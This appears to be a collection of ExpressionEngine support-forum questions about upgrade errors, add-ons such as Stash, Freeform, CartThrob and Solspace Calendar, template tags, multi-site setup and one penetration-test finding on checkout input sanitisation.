Using phpmyadmin, I see that there is in fact no “exp_grid_columns” table in the database. So what does that mean? Should I just create a table with that name? Not actually sure what’s involved with that….

I saw a bunch of 1146 error codes relating to the Comment module in the EE Forums, but this doesn’t seem to have anything to do with that (I even tried installing the Comment module).

I’m not really a MySQL person, so I’m not sure where to go from here. Any ideas?

Thanks in advance!


texts: Adding menu items to Main Menu for all users

texts: If I add an item to the Main Menu in the control panel how can I make this layout visible to all users?


texts: Error upgrading "Subscriptions" from 1.6 to 4.0.1

texts:
I've just upgraded from EE2 to EE5, everything's working great however when I try to upgrade the eeHarbour module "Subscriptions" from 1.6 to 4.0.1 I get the following error:

Warning
call_user_func_array() expects parameter 1 to be a valid callback, class 'EllisLab\ExpressionEngine\Controller\Addons\Addons' does not have a method 'select'
ee/EllisLab/ExpressionEngine/Legacy/Facade.php, line 78

Severity: E_WARNING

Fatal error: Call to a member function from() on null in /chroot/home/html/site/system/user/addons/subs/Updates/1_07_00.php on line 22

Any ideas? I've checked to make sure the select fieldtype is in system/ee/EllisLab/Addons/select and all seems to be fine there.


texts: How do I configure CartThrob to use billing address as shipping address by default?

texts:
A client sells digital products where the shipping address isn't even necessary but I guess Authorize.net sometimes declines payments because the default shipping address, which is never shown or even hidden in the form, does not match the billing address. Is there a way that I can set CartThrob to just always submit the billing address as the shipping address for digital products?

OR is there a way to completely disable shipping from being submitted to Authorize.net (or any payment gateway for that matter)?

The site is running CartThrob 2.61.


texts: Upgrading EE 2.11.9 to 3.5.10 - unable to update to Tagger 4.0.0 from DevDemon

texts:
I'm trying to upgrade a site from EE2.11.9 to 3.5.10 and during the process, upgrading DevDemon's Tagger from v3.2.1 to 4.0.0 but getting this issue when trying to upgrade:

Exception Caught No such method filter. ee/EllisLab/ExpressionEngine/Library/Mixin/Manager.php:143

I have seen that other folks also have this problem:
Upgrading EE 2.11.9 to 3.5.6 - problems updating Tagger from DevDemon

Please help DevDemon


texts: Return URL issue in DevDemon Subscriptions

texts:
I'm setting up Subscriptions and keep running into an issue where, on the subscription page shown here: http://d.pr/i/1jWCX, if the user fills out the form in a way that results in an error (say, a bad credit card), when they click back to this page from the error message page, they see something like this: http://cl.ly/image/3o0v3Y3w041t

The URL is the issue.

In the working page, the url is /join/membership-payment/premier - with segment_3 being the trigger for different plans they can buy. In this case, premier.

In the page they are returned to, the url is /join/membership-payment/dev.augi.com/join/membership-payment and segment_3 is the domain name.

This makes me think that Subscriptions is creating its return URL value incorrectly. It works just fine if there are no errors in the form.

This is my subscriptions tag:

{exp:subs:subscribe
  payment_method="authorizenet_cim"
  plan="{embed:plan}"
  return="join/create-profile/step-1/%SUBS_HASH%"
}


texts: Can't see entry in multiple site mode (EE5)

texts:
I have an English language version of the main site installed in multiple site mode (there is no problem with it inside admin panel: I can switch sites, create channels/entries, manage templates for both sites etc.) — en.kiosov.pro. The index page is working well. But I can't see channel page and entries page at all. For example, I have a channel called Cases with one entry inside. I have a template group called cases too with 2 templates inside:

index

{embed="index/header" my_html_class="cases" my_page_title="Cases"}
{exp:channel:entries channel='cases' limit='25' my_active_nav='cases' paginate='bottom' dynamic='no'}

{title}

{entry_date format='%n/%j/%Y'}

{case_teaser}

        {if has_categories}

in: {categories backspace='2'}{category_name}, {/categories}

        {/if}

by: {author}

    {if no_results}
        {redirect='404'}
    {/if}
{/exp:channel:entries}
{embed="index/footer"}

and case

{embed="index/header" my_html_class="cases" my_page_title="Cases"}
{exp:channel:entries channel='cases' limit='1' require_entry='yes'}

{title}

{entry_date format='%n/%j/%Y'}

{case_teaser}

{case_post}

    {if has_categories}

in: {categories backspace='2'}{category_name}, {/categories}

    {/if}

by: {author}

    {if no_results}
        {redirect='404'}
    {/if}
{/exp:channel:entries}
{embed="index/footer"}

I have the entries listing code on index page which is works well (you can see it on en.kiosov.pro/#cases page)

{exp:channel:entries channel="cases" limit="5" my_active_nav="cases" paginate="bottom" dynamic="no"}

{title}

{case_teaser}

{/exp:channel:entries}

It builds the correct link to the entry but I get “Not Found” when I click it or just type the link (for example) in the browser URL field. Can’t realize what I missed for en. version because the main site (kiosov.pro  — just old design and structure there) works without that problem and I building en. version with the same way (but other channels structure).

Thank you!


texts: Zoo Visitor Edit Profile: if field == problem

texts:
How do I check a member field for an answer, and if the answer is there display a new filed.

I am building a 2 page sign up with Zoo Visitor and the second page asks a question based on your answer in the first page.

{if custom_field_name == "ANSWER" }

<category_menu>
Ask Question?
<select name="category[]" id="categories" size="4" multiple="multiple">
<select_options>
</select>
</category_menu>

{/if}


texts: How can I hide an expired row in a Matrix field?

texts:
I have a Matrix field which is being used for late availability vacancies for a tourism website. Inside the Matrix field there are two columns, Date and Description.

Rows from the Matrix field will be displayed on the front end of the site. However I'm wondering if there is a way to hide a row if the Date field inside the Matrix is expired.

It seems using show_expired="no" won't work as this applies to the entry itslef which won't have expired. It's specifically the Date field inside the Matrix field. If the date on the row is expired, I'd like it not to be displayed.

Can anyone shed any light on this please

Thanks


texts:
I have several areas of my website which content authors want they content to be available at their own domain name for identity and advertising reasons. I want to avoid setting up additional multisites as most of these are very small subsections of the much larger parent  site.

For example, the current url for a subsection wanting their own domain would look like this...

http://domain.com/section/subsection/category/thisismysite

the content users want to be able to access the site at

http://thisismysite.com

The major issues come when I want to keep the url short for additional subpages within the "thisismysite" sub section, say...

http://thisismysite.com/about
would be the same as
http://domain.com/section/subsection/category/thisismysite/about

Any ideas on how i can accomplish this for my users?


texts: Not able to send Data to next check out page

texts:
Take checkout 2 and checkout 3 as example.

When I send data from checkout2 to checkout3, for some reason, the checkout3, not able to retrieve its data. I have inspected element of checkout2 , all the input fields are in a form, which created by the checkout Tag.

Currently, I am using EE 2.6 and Store 1.6.5.

Thanks in advance.


texts: Using MVC with Stash - nested model embeds for related entries (playa)

texts:
Using Stash 2.3.6, EE 2.5.5, Playa 4.3.3...

I want to stash a list of related playa entries for Model1. I want to assign the variables for Model2 based on my Model2 embed.

See {!-- THIS IS NOT BEING SET --} below:

If I manually assign variables with {exp:stash:set} within the playa loop, the code works fine. It is the nested embed that is failing.

Anyone have any advice for me? I love the way the code is laid out, and I want to keep it DRY.

Main landing page (EE template)

{stash:embed:layout:main}

{exp:stash:parse}
    {exp:channel:entries
        channel       = "list"
        limit         = "1"
        require_entry = "yes"
    }
        {if no_results}{redirect="404"}{/if}
        {stash:embed:model:model1 process="start"}
    {/exp:channel:entries}
{/exp:stash:parse}

{exp:stash:content}
    {exp:stash:get_list name="list_of_related_model2" process="end"}
        <li>{title} - {url_title}</li>
    {/exp:stash:get_list}
{/exp:stash:content}

Model 1 (stash template)

{exp:stash:set name="title"}{title}{/exp:stash:set}

{exp:stash:set_list name="list_of_related_model2" parse_tags="yes"}
    {exp:playa:children field="cf_related"}
        {stash:embed:model:model2 process="start"}{!-- THIS IS NOT BEING SET --}
    {/exp:playa:children}
{/exp:stash:set_list}

Model 2 (stash template)

{exp:stash:set name="title"}{title}{/exp:stash:set}
{exp:stash:set name="url_title"}{url_title}{/exp:stash:set}


texts: Cannot find 'Design' tab in the main menu

texts: I'm new to the ExpressionEngine but I cannot find 'Design' tab in the main menu. Does anyone know how to add it or the provide the sample URL so that I can reach Design page on my site?


texts: PHP in Template Forbidden - Can't even save

texts:
On EE 2.11.7, I've enabled PHP on a template and set it to output and even a simple echo of some text between PHP opening and closing tags results in a Forbidden error page when I try to save the template.

Site is on Nexcess and mod_security doesn't seem to be on when looking at phpInfo, so not sure what is going on. Any insights on what may be causing this and how to fix it?


texts: Display Custom User Fields in Profiles (Group ID)

texts: We are using User 3.4.4. We want the Group_ID (Member Group) that is selected on the Register form to be displayed somewhere on the Profile (as a custom field?) Is this possible?


texts: How can a member edit an entry via a Channel Form but save as a copy?

texts: I'm searching for a solution how a member can edit an entry on frontend, but it should not change the entry on submit, but instead it should create a new entry in the database?


texts: PHP inside a User loop — what am I doing wrong?

texts:
On an article page, I'm trying to output "more from this author" using the User add-on from Solspace.

Unfortunately, there's a bug in the current version that prevents this from working:

{exp:user:entries channel="articles" status="open" user_author_id="1" entry_id="not 344"}
    {if count == "1"}
    // header and opening ul
    {/if}

        // list items with links to articles

    {if count == total_results}
    // closing ul
    {/if}
{/exp:user:entries}

The bug means that entry_id doesn't work with the "not" in there, so I can't exclude the current entry.

The workaround is to use PHP, and so I have something like this:

<?php $c = 0; ?>
{exp:user:entries channel="articles" status="open" user_author_id="1" limit="4"}
  {if entry_id != "344"}
    <?php $c++; ?>
    <?php if($c == 1): ?>

More from this Author

    <?php endif ?>

<?php echo $c ?> {title}

  {/if}
{/exp:user:entries}
<?php if($c != 0) :?>

<?php endif ?>

Unfortunately, the results I'm getting are odd. I'm getting a list of three articles — the article with the id of 344 is being correctly omitted — but I'm not getting the header and open ul tag.

I'm echoing $c in there, and what results is a list of three articles numbered 2, 3, 4. It seems like $c is skipping straight from 0 to 2.

Hopefully I'm just doing something dumb...


texts:
Of course. When should I do upgrade? at weekdays because of my users. When paid support works? Only business days.
What is problem? Upgrade worked fine, BUT i do get blank screen when I try to enter administration.
I enabled debugging and now I have these errors in admin.php file

A PHP Error was encountered

Severity: Warning

Message: Cannot modify header information - headers already sent by (output started at site/admin.php:1)

Filename: core/EE_Input.php

Line Number: 212
A PHP Error was encountered

Severity: Warning

Message: Cannot modify header information - headers already sent by (output started at site/admin.php:1)

Filename: core/EE_Input.php

Line Number: 212
A PHP Error was encountered

Severity: Warning

Message: Cannot modify header information - headers already sent by (output started at site/admin.php:1)

Filename: core/EE_Input.php

Line Number: 212
A PHP Error was encountered

Severity: Warning

Message: Cannot modify header information - headers already sent by (output started at site/admin.php:1)

Filename: core/EE_Input.php

Line Number: 212
A PHP Error was encountered

Severity: Warning

Message: Cannot modify header information - headers already sent by (output started at site/admin.php:1)

Filename: libraries/Functions.php

Line Number: 446


texts:
I'm have trouble upgrading versions. I was going from 2.5.5 to 2.7.2. It's added a table called exp_upgrade_log but now it's getting hung up between 2.7.1 and 2.7.2. This is what it says:

Preparing to update from 2.7.1 to 2.7.2. Awaiting acceptance of license terms.
Updating to 2.7.2

I've just got a blank page on the update wizard. There's nothing happening in this log table either. Any tips on fixing this upgrade process?

this is the url the wizard has left.

/admin.php?C=wizard&M=do_update&language=english&ajax_progress=yes


texts: How can I get the Freeform (free v.) Recipient Name value into a notification template?

texts:
My question is very similar to this one:

Getting Recipient Names/email address in Notification

However I need to use a select field rather than checkboxes.

I've tried this but it doesn't work (I used .change instead of .click and :selected instead of :checked):

$(function($){
    var $chosenRecipients   = $('[name="freeform_product"]');
    var $recipientChecks    = $('[name^="the_product"]');

    $recipientChecks.change(function(){
        setTimeout(function(){
            $chosenRecipients.val('');
            var newVal = [];
            $('input[name^="the_product"] option').each(function(){
                if ($(this).is(':selected'))
                {
                    newVal.push($(this).val());
                }
            });
            $chosenRecipients.val(newVal.join(', '));
        },0);
    });
});

The relevant HTML/EE code:

{exp:freeform:form
    collection="Contact Us"
    form:id="contact_us"

    recipients="yes"
    recipient_template="contact_us_page"

    recipient1="name|email1@address.com"
    recipient2="name|email1@address.com"
    recipient3="name|email1@address.com"
    recipient4="name|email1@address.com"
    recipient5="name|email1@address.com"
}

<input type="text" value="" id="freeform_product" name="freeform_product">
<label for="the_product" class="span6">Product<br>
<select name="the_product" id="the_product">
    <option value="">------Select------</option>
    {freeform:recipients}
    <option value="{freeform:recipient_name}">{freeform:recipient_name}</option>
    {/freeform:recipients}
</select>
</label>

Any ideas on what I'm missing?

Thanks!

UPDATE: I've added a fiddle here: http://jsfiddle.net/yL432nvc/


texts:
Whilst upgrading a site from EE1 to EE2.5.5 I have been doing a lot of editing the database in Sequel Pro. All of which seems to be working fine so far...

But I'm having a problem with a straightforward channel entries tag to display past entries from a specific channel (id=2) all other channels work, and if I add show_future_entries="yes" to the parameters it works for channel 2 (and shows the future entries).

In my investigations I discovered that in the exp_channels table the row for channel_id 2 has a 0 for total_entries and last_entry_date but there are 39 rows in exp_channel_data and exp_channel_titles with a channel_id of 2 (and they all match up and have the same number of rows in total).

If I add a new entry in channel 2 the exp_channels table row doesn't update, but does for other channels.

I tried editing the field directly in Sequel Pro to add the correct total_entries and last_entry_date. But when I post a new entry in channel 2 it reverts those 2 fields to 0.

Update: I just tried adding another new entry and it is updating the entry count now and channel entries tag queries show the new entries with a date before now, but still don't show the older ones.

It seems to be the the older entries in the channel that I inserted directly (along with titles in the exp_titles table) didn't update the exp_channels table and that's the problem. Why it should matter I can't work out, as there aren't any fields in there that are related to entries.

So does anyone know what other table is updated when you add a new entry that is breaking the relationship?

I realise that I must have screwed something up during my time editing the database directly but is there a way to re-synch the exp_channel table and why is this issue preventing the display of past entries?


texts:
I am trying to get Memcached working on my EE (2.9.2) website. I have memcached installed correctly (both Memcache and the PHP extension) and running as a daemon:

% ps -ef|grep memcache
user   pid   1  0  16:45 ?   00:00:00 memcached -d -p 11211 -u memcached -m 64 -c 1024 -P /path/to/memcached.pid

I have added the following code to my config.php file as per the docs:

$config['memcached'] = array(
    array(
        'host' => 'XX.XXX.XX.XXX',
        'port' => 11211,
        'weight' => 2,
    ),
);

However, when I try to select Memcached from the drop-down list of options under CP Home > Administration > General Configuration I see the following (in red):

Cannot connect to Memcached, using File driver instead

I cannot understand why this is happening and EE's logging of the problem is 100% non-existent (there is nothing in the Apache error log, EE Control Panel log). Any ideas? Thanks in advance.


texts: What is the security issue that 2.7.2 solves?

texts:
I'm asking because I have roughly 30 sites, most of which were started before my tenure here, that will need to be updated if this version is as critical as they say.

It is hard for me to justify the time it will take to update all of these sites (all of which are different versions of EE as well, with different server structures, et al) without knowing how crucial this fix is.

I haven't found anything about it at EllisLab's blog or forum. Does anybody know?


texts:
I have a single entry page with the url_title in segment_3.
I want to get all the other entries in that category, but also apply a search filter.

{exp:channel:entries channel="academy-items"
related_categories_mode="yes"
search:audience="Customer-Support"}
{title}<br>
{/exp:channel:entries}

It looks like search doesn't work in this instance. Is there another way to get this data?


texts: Can't get multi day events to display properly over multiple months

texts:
I would like to display Solspace calendar dates in a list so the dates display as follows:

One day event - May 31
Multi day event - May 30-31
Multi day event with range in 2 months - May 31-Jun 1

I've been unable to get both multi day options to work using the following conditional. For multi day events over 2 months, it still displays May 31-1.

My code is:

{if event_multi_day AND {event_start_date format="%M"} == {event_end_date format="%M"}}
{event_start_date format="%M %j"}-{event_end_date format="%j"}
{if:elseif {event_start_date format="%M"} != {event_end_date format="%M"}}
{event_start_date format="%M %j"}-{event_end_date format="%M %j"}
{if:else}
{event_start_date format="%M %j"}
{/if}

To narrow down the issue further, if I have an event that occurs May 31 to June 1, and want it to display May 31-Jun 1, I get no result if I use the following:

{if {event_start_date format="%M"} != {event_end_date format="%M"}}
{event_start_date format="%M %j"}-{event_end_date format="%M %j"}{/if}


texts: Remove Duplicate Values in List from Channel Entries

texts:
I am creating a dropdown menu for a mailing list sign up form for an events company. I would like to give people the option to select a city where the company has had an event in the past or where there will be an upcoming event. To do this, I'm calling all of the event entries and displaying their cities in the dropdown. However, sometimes the company has had events multiple times in one city. How can I remove the duplicates? I have found some answers to questions similar to this where the solution uses php, however I'm having trouble getting that to work in my specific instance. Here is my code for the select dropdown menu:

<select id="MERGE1" name="MERGE1">
    <!--innitial display field is blank-->
         <option value="" selected></option>
    <!--values show in dropdown--->
         {exp:channel:entries  channel="events" status="next event|open|closed" show_future_entries="yes" show_expired="yes"}
         <option value="{event_city}">{event_city}</option>
         {/exp:channel:entries}
</select>

**edit

using an expression engine query solved the innitial problem. however, now i'd like to show cities that appear in 2 different fields and two different channel ID's. Here's what I'm working with so far, which is stripping out the duplicated within the channel ID's but still showing duplicates across multiple channel ID's:

<select id="MERGE1" name="MERGE1">
    <option value="" selected></option>
    {exp:query sql="SELECT exp_channel_data.field_id_1 AS event_city, exp_channel_data.field_id_202 AS event_city2 FROM exp_channel_data
          INNER JOIN exp_channel_titles ON exp_channel_data.entry_id=exp_channel_titles.entry_id
          WHERE ( exp_channel_titles.channel_id=1 OR exp_channel_titles.channel_id=29 ) AND (exp_channel_titles.status='next event' OR exp_channel_titles.status='open' OR exp_channel_titles.status='closed') GROUP BY exp_channel_data.field_id_1, exp_channel_data.field_id_202"}
            {if event_city != ''}
               <option value="{event_city}">{event_city}</option>
            {if:else}
               <option value="{event_city2}">{event_city2}</option>
            {/if}
     {/exp:query}
 </select>


texts:
I'd like to know if/how Stash embeds could be used in a particular way. I'm trying
to keep things DRY.
Generally my templates look something like this:

_wrapper.html

    ...
    {exp:stash:get name="content"}
    ...

template.html

{!-- My 'view' --}
{exp:stash:set name="content"}

{exp:stash:get name="title"}

{exp:stash:get name="description"}

Content that would be repeated across templates.

{/exp:stash:set}

{!-- My 'model' --}
{exp:channel:entries ...}
    {exp:stash:set}
        {stash:title}{title}{/stash:title}
        {stash:description}{description}{/stash:description}
    {/exp:stash:set}
{/exp:channel:entries}

The
 might have something like a list of categories.
What I thought I could do was put that div in a Stash embed and then continue writing
in the view/model format. It's not turning out that way.

In template.html I would replace the
 with {stash:embed:sidebar}.
Then sidebar.html would look like this:

{!-- Another 'view' --}

Categories

    {exp:stash:get_list name="categories"}
        ...
    {/exp:stash:get_list}

Something Else

    {exp:stash:get name="something_else"}

{!-- Another 'model' --}
{exp:channel:categories ...}
    {exp:stash:append_list name="categories"}
        ...
    {/exp:stash:append_list}
{/exp:channel:categories}

At the moment, {stash:embed:sidebar} does get embedded, but without the stuff inside
{exp:stash:get_list} and {exp:stash:get}.
If this can be done, I'm sure a parse order issue. Perhaps a parameter on the embed
tag would help. Although I don't know what.
If it can't be done, any suggestions for alternatives would be appreciated.

Thanks!


texts: Solspace Calendar always shows full week

texts:
I'm using solspace calendar to output events. Everything works well, the only issue is that for some reason, no matter what parameters I supply for date_range_start, date_range_end, and show_days, the tag always outputs an entire week. Here is the tag I'm using:

  {exp:calendar:cal
           event_limit="4"
           paginate="bottom"
           category="public"
           date_range_start="2016-02-25"
           show_days="1"
   }

This always gives back a full week of events. So, in this example, since the 25th is in the middle of the week, the cal tag outputs all events from 2/21 - 2/27 (sunday-saturday).

Any help is appreciated!


texts:
I've been trying to set up a conditional that will display a notification message if there are no entries in the grid. Like this

{if mygrid:total_rows != "0"}

 Title

  {mygrid}

{mygrid:title}

  {/mygrid}
{if:else}

ERROR

{/if}

However when there are 0 rows the conditional does not execute the ERROR message. I output {mygrid:total_rows} and displays 0 for no rows and 1,2,3... etc if there are entries. If there are grid rows the grid content is displayed.

I'm not sure why the conditional won't execute {if:else}

Even something like won't execute

 {if mygrid:total_rows == "0"}

 MESSAGE

{/if}


texts: How to get pagination page number outside of its tags?

texts:
I want to avoid duplicate titles/descriptions on pages (P1,P2...) so I want to add Page 1, Page 2 in the page title.

Is there a way to know if we are on pagination and which page it is, but outside of pagination tags? Maybe Stash or something like that?

Thank you


texts: Solspace Freeform: How to dynamically set admin notification email

texts: Using Solspace's Freeform, how can I dynamically set the admin notification email address? Ideally i'd like to set this via Low Variables so that my client can change all of their contact information in one window.


texts: blank page after password request submit

texts:
I have this issue after upgrading from EE 2.5.5 to 2.7.2. The new EE method to reset the password gives the right page, but after having submitted the reset form all I get just a blank homepage. Those are POST info:

ACT {AID:Member:send_reset_token}
FROM
email   myemail@email.com
site_id 3

any idea on how I can debug this? Thank you!


texts:
I'm using Solspace favorites module and am looking to automatically add new entries+comments to the DB in a separate Favorites Collection to mark entries as either read or unread (fav or not fav).

Basic thinking: A “new entry” gets added by user (channel form) and after it’s all submitted, write to the Favorties table in the DB :

Get all members active in the last X weeks (don’t want all or guests)
Grab the submitted entry_id
Grab the Favorites collection_id (read_unread)
Recursively write to the favourites table in the DB (member_id, collection_y, entry_id, time_z)

Now on the front (using Favorites tag) when returning a list of entries – I can check for the existence of the entry_id and member_id - if there is a match I can visually mark that entry for that user as UNREAD (fav) or READ (not fav).

Continuing on, someone adds a comment to an entry. Need to mark it as UNREAD (new) so delete all instances and replace:

Delete all DB entries where the collection = Y and the entry_id = X
Get all members active in the last X weeks (don’t want all or guests)
Grab the submitted entry_id
Grab the Favorites collection_id (read_unread)
Recursively write to the favourites table in the DB (member_id, collection_y, entry_id, time_z)

A member is deleted:

Delete all favourites where member_id = member being deleted and collection = Y.

Members visit an entry:

Grab the entry_id
If entry_id, member_id + collection_y exists then delete it effectively marking it as READ.

This is all invisible to the user, I don’t need anything returned simply fired after add/deleting/viewing –  hence I’m informed I need to build a module/Extension combo.

Am I correct in my assumptions below that these are the primary Hooks needed to get this functioning?

ADD COMMENT:
comment_form_end($res)

DELETE COMMENT:
delete_comment_additional($comment_ids)

ADD ENTRY:
channel_form_submit_entry_end()

DELETE MEMBER:
member_delete($member_ids)

VIEW ENTRY:
template_post_parse($final_template, $is_partial, $site_id)


texts: I'm setting up Multi-Site for ExpressionEngine and when I go to manage my files in the P&T Assets plugin, nothing shows up. The refresh icon just spins. Even when I create a new upload destination within the folder of the second site, I get nothing. Updating the index just makes the button transparent like something is happening, but nothing does.


texts:
After logging out of the front i get this error:

A PHP Error was encountered

Severity: Notice

Message: unserialize(): Error at offset 0 of 7 bytes

Filename: libraries/Session.php

Line Number: 931

PHP: 5.6
EE: 2.9


texts: Trouble Upgrading from 2.5.5 to 2.8.1 - white screen

texts:
I have been trying to upgrade a site from EE 2.5.5 to EE 2.8.1, but I get a white screen on the admin.php page after the upgrade is complete. The only way to get rid of the white screen is to disable extensions in the config.php file. I also get the login window that usually appears after the usual non-use timeout, except it is not a popup. This happens, when I am logged in. It appears at the bottom of the control panel - see screebshot below.

I have tried upgrading all plugins, but so far I cannot enable extensions without getting the white screen.

I have upgraded numerous sites to EE 2.8.1 but none have been this problematic. Any sage advice is welcome.

Thanks.


texts: Keep Getting Logged Out of Control Panel

texts:
I keep getting logged out of the control panel while I'm working in it.

Under Admin > Security & Privacy > Security and Session Preferences, I have:

Control Panel Session Type: Cookies & Session ID
Require IP Address and User Agent for Login?: Yes

I tried clearing my cookies - didn't work.

I tried setting Require IP Address and User Agent for Login? to "no" - didn't work.

I tried setting Control Panel Session Type to "cookies only" - didn't work.

What else should I try?

EE 2.5.5


texts:
I need to set expiration date as required for entries on a channel.
So is there any way to set expiration date as required for an entry?
Thanks


texts:
We recently purchased and installed MSM running EE 2.7.0

One of the sites we want to manage with MSM is already up and running on its own using with EE 2.6. Both sites are on the same server.

Is there a easy way to get the structure, templates, etc. out of the existing installation and into MSM?

Figure this is common occurrence, but the docs are a bit confusing in this regard.

EDIT: We were advised by EE support that at least in terms of the templates the best bet is to save them as as files and then relocate them, but it sounds like on a larger level there is no magic trick here.

Not sure on the MySQL side if anyone has any tricks to offer?


texts:
I constantly am getting the following messages in the developer logs:

Deprecated function decode_date() called in system/expressionengine/libraries/Functions.php(679) : eval()'d code on line 10. Deprecated since 2.6. Use Localize::format_date instead.

I tried Googling or search the forums/internets/stackexchange for answer on what exactly the message is trying to tell me, but I have no idea.

Site is running EE 2.6.1. Thanks for helping.


texts: Would like to apply a class to specific category events within a span title

texts:
I'm using Solspace Calendar.  I have a very clean monthly calendar where I am using a tool tip to display the events and their details.  I also have 3 event categories and I would like to display them with special colors (I am using classes to define the colors).  I have the tool tip working wonderfully within the calendar but since i cannot add html(other than a  tag) to the title of the span to use as the tooltip (this is where the event information is pulled into), i'm having a difficult time thinking this out. I want to be able to format the tooltip to show each event in the color that is specified for the category.  So really 2 things much happen and I would love to see if anyone else can help me get there.

add a conditional to the {events} tag pair that displays the event of a particular category.  Maybe something like {if category_id == "3"} show this event {/if}
add a class to the event if the category is specified.

I've tried a dozen ways, but I am sure I am not seeing something. So any suggestions would be GREAT!!!  here is my code currently, without the conditionals or the color class.

{exp:calendar:cal date_range_start="year-month-01" date_range_end="1 months"}
 {display_each_month}

 {date format="%F %Y"}

                         {display_each_day_of_week}

                              {day_of_week_short}

                              {/display_each_day_of_week}

                      {display_each_week}

                        {display_each_day}

                               {date format="%j"}

                         {/display_each_day}

                        {/display_each_week}

      {/display_each_month}
 {/exp:calendar:cal}


texts: Possible to filter Stash List by two custom fields?

texts:
I'm retrieving a list and ordering it by a custom field but need to exclude some fields and include others. Essentially it is a case of the EE 'search by custom field' param but using OR not AND....was previously doing this without Stash with Mark Croxton's Search Fields module which unlike native EE does support an 'OR' search.

My question is - how can I replicate this on the Stash list? Is it possible to use Search Fields with Stash? From what I have so far seems not.


texts:
Currently my store installation requires you to press the button 'update cart' to calculate the shipping when at the start of checkout. I don't need anything fancy with the shipping - it just calculates it based on total amount in the basket. Can I get it so that the shipping is automatically calculated when arriving at checkout instead of forcing the user to update the cart?

Thanks


texts:
I'm trying to send emails using EE > tools > communicate. I have tried PHP, SendMail, and now SMTP with no luck.  The email send but goes into the spam folder.

Hotmail and Gmail are both sending to spam. I have created an email jim@mydomain.com and I'm sending from that domain.  Normally I would tell Gmail that it is not spam, however this is for a client and they will change recipients often.

Ultimately I need my Freeform forms to NOT send to spam but for now I can't get this to work.


texts: How to disable the multi category edit form

texts:
I do not wish my users to be able to edit category entries. I have hidden the category fields via the publish layout however they can still access the categories via the multi entry category editor by choosing either Add or Remove categories.

The users do not have any permissions to add/edit categories themselves but I wish to stop them assigning their own categories to their news articles.

Is there any way of disabling this functionality either natively or via a 3rd party extension. I use Better Workflow but this bypasses all of the draft/publish checks.


texts: Assets not displaying correctly after moving server

texts:
We moved a completely running website to a new server. The whole migration worked out well. The domain name, server settings, paths, MySQL stayed identical.

However all uploaded images and assets created subfolders are not visible anymore in Assets. They're still available in the database and are also shown on the front end. Folder rights are OK.

After indexing assets again I'm getting the following message:


texts:
I have a Freeform form that is a request for information.   There are checkboxes in the form for various locations on the site.  I want to dynamically send emails based on the checkboxes that are checked.   Is that possible?

It is poorly written the way it is now.  After the form is submitted, the coder added raw php to the response template to parse the locations and build a string for the "to" variable for the dynamic recipients.  The mail was sent using the php "mail" command.   They also put it inside a freeform entries tag pair.    What happens is sometimes the mail does not send at all, and sometimes it sends duplicates, which are also sent at different times.

Any suggestions either with or without Expression Engine?


texts:
We're currently copying the site we developed locally to ExpressionEngine and we are calling all our external libraries via CDN (no server access to upload modules etc). Our jQuery isn't working, however the Foundation 6.4.3 being called referenced via CDN is working. Anyone know if this is a known problem? the CDN script tag is in near the end of the body in our index page before any other jquery requirements (i.e. foundations jquery).

Edit : The sources show that the CDN is loading jQuery and present there, however it's still not applying to the page.
Edit2: Seems that it is only sometimes loading into the sources tab, sometimes it is absent.


texts:
A client I have built an Expresso-store site for has just had a pretty comprehensive Penetration Test performed on it. One of the areas they highlighted, and the client wants to be addressed, is the limited sanitisation performed on checkout process fields.

Here is the actual report entry:

  Whilst testing, 2-sec attempted to see it was possible to generate cross-site scripting errors within the application using the HTML tag in certain input fields. From this, it was found that the application sanitised certain inputs, which could be attributed to input blacklisting. 2-sec identified that whilst the tag was sanitised it allowed other HTML tags to be used. Below are a list of tags allowed by the application:

<a> <h1> <p> <table>

  When entered into a form field the application rendered these tags as html, so for example when the tag was input then the name of the user could be converted into a link on their billing name during the checkout process. Although these tags are usually considered harmless, it does identify that limited sanitisation is carried out by the application.

Could you suggest the best way of achieving this without modifying the core code from the Store module?

Thanks


texts:
I am building a custom plugin to process a form. I am new to custom plugins and after looking at several different tutorials I am stuck on my form action. I would like to access the process form method in the class, is this correct with EE and if so, how do I go about it.

Thanks.

class Myform {

public function __construct()
{
    $this->EE =& get_instance();
}

public function form()
{

    $form_data = array(
        "id"    => $this->EE->TMPL->form_id,
        "class" => $this->EE->TMPL->form_class,
        "action" => //process_form()
    );

    $tagdata = $this->EE->TMPL->tagdata;

    $form = $this->EE->functions->form_declaration($form_data) . $tagdata . "</form>";

    return $form;
}

public function process_form()
{
    return "testing";
}
// --------------------------------------------------------------------

/**
 * Usage
 *
 * Plugin Usage
 *
 * @access  public
 * @return  string
 */
function usage()
{
    ob_start();
    ?>

    Documentation will go here

    <?php
    $buffer = ob_get_contents();

    ob_end_clean();

    return $buffer;
}

// --------------------------------------------------------------------

}
// END CLASS


texts:
Sorry for my bad English.

I have a website on EE1. I want EE3. There is a big problem with convert database (old PHP and MySQL on the server and can't converted via EE2, and if i update the PHP and MySQL, my EE1 will not work).

That's what I came up with: put on a separate host of EE3 and just fill the database manually. Then update the PHP and MySQL on the main server, install EE3 and add there the backup of the newly database.

Is this a good idea? What should I know?


texts: Automatically generate a form based on a channel field set?

texts:
I have a field set that's going to be growing over time. Users will be filling out forms on signup that represent this field set.

Is there a way to automatically generate this sign up form based on the field set, instead of manually updating the form when I update the fields?


texts:
Even though I have my currency set to CAD my purchases are coming through paypal as USD.  Am I missing something because I cannot figure out why.

{exp:channel:entries channel="products" sort="asc" entry_id="21|22|23|24|25|26|27|28"}
{exp:simple_commerce:purchase entry_id="{entry_id}" success="user_main/success" cancel="user_main/index" country_code="CA" currency="CAD"}

{item_name} -
       {if item_type == "purchase"}

Add to Cart

       {/if}

{/exp:simple_commerce:purchase}
{/exp:channel:entries}


texts: Escape characters when passing variables to an embeded template

texts:
I have an embed template to which I'm passing variables from some custom channel fields. Everything works as expected until there are quotes (") inside the variable.

For example, I have the variable {article_content} inside the "section/subsection" template containing html markup with a few paragraphs and some links. I pass the variable to the embeded template using:

{embed="embeds/.article_template" emb_article_content="{article_content}"}

On the embeded template I use:

{embed:emb_article_content}

When I render the page, everything is ok until the engine reach the first quotes (") in a link, then nothing is redered. I get something like this:

This paragraph is alright because doesn't contain links or quotes

This paragraph contains a link <a href=

I have tried to find ways to escape the quotes but I just can't figure out how to do it.

Any ideas to solve this issue would be greatly appreciated!


texts: Solspace Freeform, getting "form expired" error

texts:
